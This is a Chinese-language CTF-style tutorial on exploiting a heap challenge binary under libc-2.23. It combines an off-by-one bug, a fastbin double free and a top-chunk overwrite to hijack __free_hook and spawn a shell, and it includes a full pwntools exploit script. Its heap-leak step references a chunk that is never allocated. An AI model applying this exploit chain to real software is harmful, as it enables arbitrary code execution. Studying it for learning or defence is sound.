关于通过Topchunk覆写Free_hook方法介绍
字数 1445 2025-08-24 20:49:31
Topchunk覆写与Free_hook利用技术详解
1. 程序环境与保护机制分析
1.1 程序基本信息
- 环境:Ubuntu 16.04,libc-2.23
- 文件类型:ELF64
- 保护机制:
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
1.2 程序功能
程序提供三个主要功能:
- Add - 添加堆块
- Delete - 删除堆块
- Show - 显示堆块内容
2. 漏洞分析
2.1 关键漏洞点
-
Off-by-one漏洞:
- 在添加堆块时,
read(0, buf, v0 + 1)多读了一个字节 - 允许覆盖下一个chunk的size字段
- 在添加堆块时,
-
强制修改malloc_hook:
- 每次添加分配内存时,都会强制修改
__malloc_hook指向sub_AB0函数
- 每次添加分配内存时,都会强制修改
-
UAF潜在风险:
- 删除堆块后指针被清空,但存在double free的可能性
3. 利用思路与步骤
3.1 泄露libc地址
步骤:
- 分配一个unsorted bin大小的chunk(0x100)
- 分配一个小chunk(0x68)作为隔离
- 释放第一个chunk进入unsorted bin
- 重新分配相同大小的chunk(0x100),读取时泄露main_arena地址
add(0x100, '0000') #0
add(0x68, '1111') #1
delete(0)
add(0x100, 'a'*8) #0
show()
3.2 构造Fastbin Double Free
步骤:
- 分配三个0x68大小的chunk(2-4)
- 释放chunk1后重新分配,利用off-by-one覆盖chunk2的size
- 释放chunk2,此时会同时释放chunk3(因为size被修改)
- 重新分配chunk2和chunk5(落在原chunk3位置)
- 通过特定释放顺序构造double free
add(0x68, '2222') #2
add(0x68, '3333') #3
add(0x68, '4444') #4
delete(1)
add(0x68, '1'*0x68 + '\xe1') #1, 覆盖chunk2 size
delete(2) # 同时释放chunk3
add(0x68, '2222') #2
add(0x68, '5555') #5
delete(5)
delete(4)
delete(3) # double free chunk3
3.3 泄露堆地址
通过释放相邻chunk,使其中一个chunk写入堆地址,然后显示出来。
delete(6)
delete(5) # 在chunk3中写入堆地址
show()
3.4 劫持Free_hook
3.4.1 修改top chunk指针
- 在
__malloc_hook附近找到伪造的chunk size(0x70) - 将fastbin指向伪造的chunk
- 分配后修改top chunk指向
__free_hook附近
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23 + 0x20)) # heap3
add(0x68, '/bin/sh\x00') # heap4
add(0x68, '5555') # heap5
add(0x68, chr(0x0)*(0x1b-8) + p64(0) + p64(0x70)*3 + p64(libc.sym['__malloc_hook']+0x20))
add(0x68, chr(0)*0x38 + p64(libc.sym['__free_hook'] - 0xb58))
3.4.2 精确覆盖free_hook
- 计算需要分配的chunk数量:
0xb58/0xa0=18 - 分配足够数量的chunk到达
__free_hook位置 - 覆盖
__free_hook为system地址
for i in range(18):
add(0x90, 'aaa')
add(0x90, 'a'*8 + p64(libc.sym['system']))
3.4.3 触发system("/bin/sh")
释放包含"/bin/sh"字符串的chunk
delete(4) # heap4 content:/bin/sh\x00
4. 关键技术点
4.1 Topchunk覆写技术
- 通过修改top chunk指针,使其指向目标区域
- 需要找到满足条件的伪造size(通常较大,如>0x10000)
- 通过多次分配精确控制写入位置
4.2 Free_hook利用特点
- 适用于Full RELRO情况
- 需要控制free的参数(如包含"/bin/sh"的chunk)
- 相比malloc_hook利用,约束条件更少
4.3 绕过保护机制
- 针对PIE:通过泄露地址计算基址
- 针对Full RELRO:不使用GOT表,转而利用hook
- 针对NX:使用ROP或直接调用system
5. 完整EXP示例
from pwn import *
context.log_level='debug'
p = process('./heap')
libc = ELF('./heap').libc
def add(size, data):
p.sendlineafter('Choice :', '1')
p.sendlineafter('size: ', str(size))
p.sendafter('data: ', data)
def delete(index):
p.sendlineafter('Choice :', '2')
p.sendlineafter('delete: ', str(index))
def show():
p.sendlineafter('Choice :', '3')
# 泄露libc地址
add(0x100, '0000') #0
add(0x68, '1111') #1
delete(0)
add(0x100, 'aaaaaaaa') #0
show()
libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\0'))
libc.address = libc_addr - 0x3c4b20 - 88
# 构造double free
add(0x68, '2222') #2
add(0x68, '3333') #3
add(0x68, '4444') #4
delete(1)
add(0x68, '1'*0x68 + '\xe1') #1
delete(2)
add(0x68, '2222') #2
add(0x68, '5555') #5
delete(5)
delete(4)
delete(3)
# 劫持free_hook
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23 + 0x20))
add(0x68, '/bin/sh\x00')
add(0x68, 'cccc')
add(0x68, chr(0x0)*(0x1b-8) + p64(0) + p64(0x70)*3 + p64(libc.sym['__malloc_hook']+0x20))
add(0x68, chr(0)*0x38 + p64(libc.sym['__free_hook'] - 0xb58))
for i in range(18):
add(0x90, 'aaa')
add(0x90, 'a'*8 + p64(libc.sym['system']))
delete(4)
p.interactive()
6. 防御建议
- 修复off-by-one漏洞
- 增加堆块释放时的完整性检查
- 考虑使用更现代的堆分配器(如libc-2.32+)
- 实现更严格的堆元数据验证
- 限制堆块大小的灵活性